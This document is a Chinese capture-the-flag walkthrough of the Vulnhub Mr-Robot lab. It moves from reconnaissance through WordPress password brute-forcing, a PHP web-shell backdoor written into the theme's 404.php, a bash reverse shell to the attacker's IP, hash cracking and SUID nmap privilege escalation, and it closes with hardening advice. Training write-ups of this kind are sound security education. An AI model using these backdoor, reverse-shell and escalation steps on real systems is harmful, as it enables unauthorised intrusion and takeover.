Mr-Robot 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 Mr-Robot 靶机,灵感取自美剧《黑客军团》,主题为 fsociety 黑客组织。任务目标是依次收集三个 KEY(key-1-of-3、key-2-of-3、key-3-of-3)。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.167。
二、信息收集
(一)存活主机扫描
先对本地网段进行 ARP 存活探测,发现 192.168.153.167 为 VMware 虚拟机。
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
192.168.153.167 00:0c:29:9a:e1:92 VMware, Inc.
(二)端口扫描
全端口扫描发现 22 端口关闭,80(HTTP)与 443(HTTPS)开放,Web 服务为 Apache。
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.167
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
┌──(root㉿kali)-[~]
└─# nmap -p22,80,443 192.168.153.167 -sV -O -sC
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
|_Not valid before: 2015-09-16T10:45:03
MAC Address: 00:0C:29:9A:E1:92 (VMware)
Aggressive OS guesses: Linux 3.10 - 4.11 (98%)
(三)目录扫描与第一个 KEY
使用 dirsearch 对 Web 目录进行爆破,从 wp-admin、wp-login.php 等路径可以判断这是一个 WordPress 站点,首页有 fsociety 主题的纪录片式引导。查看 robots.txt 发现暴露的 key-1-of-3.txt,访问后拿到第一个 KEY:073403c8a58a1f80d943455fb30724b9;同时发现站点还提供了字典文件 fsocity.dic,将其下载并去重排序后用于后续登录爆破。
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.153.167
[13:25:54] 200 - 678B - /admin/
[13:27:06] 302 - 0B - /dashboard -> http://192.168.153.167/wp-admin/
[13:27:55] 302 - 0B - /login -> http://192.168.153.167/wp-login.php
[13:28:52] 200 - 0B - /robots.txt
[13:29:27] 200 - 1KB - /wp-login.php
[13:29:25] 302 - 0B - /wp-admin/ -> http://192.168.153.167/wp-login.php?redirect_to=...
┌──(root㉿kali)-[~]
└─# curl http://192.168.153.167/fsocity.dic | sort -u | tee fsocity.dic
┌──(root㉿kali)-[~]
└─# wc -l fsocity.dic
11451 fsocity.dic
(四)指纹识别
使用 whatweb 识别 WordPress 版本与 PHP 版本,确认站点为 WordPress 4.3.1、PHP 5.5.29。
┌──(root㉿kali)-[~]
└─# whatweb http://192.168.153.167/wp-admin/
http://192.168.153.167/wp-login.php [...] [200 OK] Apache, Cookies[wordpress_...], HTML5, PHP[5.5.29], PasswordField[pwd], PoweredBy[WordPress], Title[user's Blog! › Log In], WordPress, X-Powered-By[PHP/5.5.29]
三、WordPress 登录爆破
(一)枚举用户名
使用 Burp Suite Intruder 对 wp-login.php 进行用户名枚举,对比响应长度发现 elliot 账号的响应包长度与其他用户名不同(4190 与 4140),确认为有效用户名。

(二)爆破密码
使用 wpscan 结合之前去重后的 fsocity.dic 字典对 elliot 进行密码爆破,成功得到凭据 elliot/ER28-0652。
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.153.167/wp-login.php -U elliot -P fsocity.dic
[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - elliot / ER28-0652
Trying elliot / ER28-0652 Time: 00:01:52 <====> (5630 / 17081) 32.96%
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
[+] Elapsed time: 00:02:00
四、主题编辑器 getshell
使用 elliot 凭据登录 WordPress 后台,进入 Appearance → Editor → 404 Template(404.php),在文件开头写入一句话后门 <?php system($_GET0); ?> 并保存。

访问 http://192.168.153.167/404.php?0=id 验证命令执行,回显当前进程用户为 daemon。

随后在本地 nc 监听 4444 端口,通过后门参数传入反弹 Shell 命令(注意 URL 编码),成功上线。
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.153.162/4444 0>&1"
# URL 编码后传入 GET 参数:
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.153.162%2f4444+0%3e%261%22
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.153.162] from (UNKNOWN) [192.168.153.167] 34657
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
五、切换 robot 用户(第二个 KEY)
在 Web 目录下看到提示文件 you-will-never-guess-this-file-name.txt,查看 /etc/passwd 发现存在 robot 用户。进入 /home/robot 目录,读取 password.raw-md5 得到 robot 账号的 MD5 哈希 robot:c3fcd3d76192e4007dfb496cca67e13b,离线破解结果为 robot:abcdefghijklmnopqrstuvwxyz。切换用户后读取 key-2-of-3.txt,拿到第二个 KEY。
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
robot:x:1002:1002::/home/robot:
daemon@linux:/home/robot$ ls -alc
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
daemon@linux:~$ python -c "import pty;pty.spawn('/bin/bash');"
daemon@linux:~$ su - robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
六、nmap SUID 提权(第三个 KEY)
查找系统中带 SUID 位的二进制文件,发现 /usr/local/bin/nmap 被设置了 SUID。利用 nmap 的 --interactive 交互模式,在 nmap 提示符下使用 !sh 直接拉起 root Shell,最终读取 /root/key-3-of-3.txt。
robot@linux:~$ find / -type f -perm -u=s 2>/dev/null
/usr/local/bin/nmap
robot@linux:~$ /usr/local/bin/nmap --interactive
nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# whoami
root
# ls /root/ -la
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
# cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
七、总结
Mr-Robot 靶机的完整攻击链如下:
-
端口与目录扫描确认目标为 WordPress 4.3.1,从 robots.txt 获取第一个 KEY 与官方字典 fsocity.dic;
-
Burp 枚举有效用户名 elliot,wpscan 爆破得到 elliot/ER28-0652;
-
登录后台通过主题编辑器写入 404.php 一句话后门,反弹 Shell 获得 daemon 权限;
-
读取 /home/robot/password.raw-md5,破解 MD5 后切换 robot 用户,获得第二个 KEY;
-
利用 SUID 位的 nmap 交互模式提权至 root,读取第三个 KEY。
对应的安全建议:① 及时升级 WordPress 与 PHP 版本,关闭主题编辑器的文件写入能力;② 站点不应暴露字典文件、KEY 文件等敏感路径;③ 禁用 WP 用户登录枚举、使用强口令并配合登录失败锁定;④ 严格控制 SUID 二进制清单,nmap 等调试工具不应配置为 SUID;⑤ Web 运行用户与数据库、家目录权限隔离,避免 MD5 哈希泄露后可直接切换用户。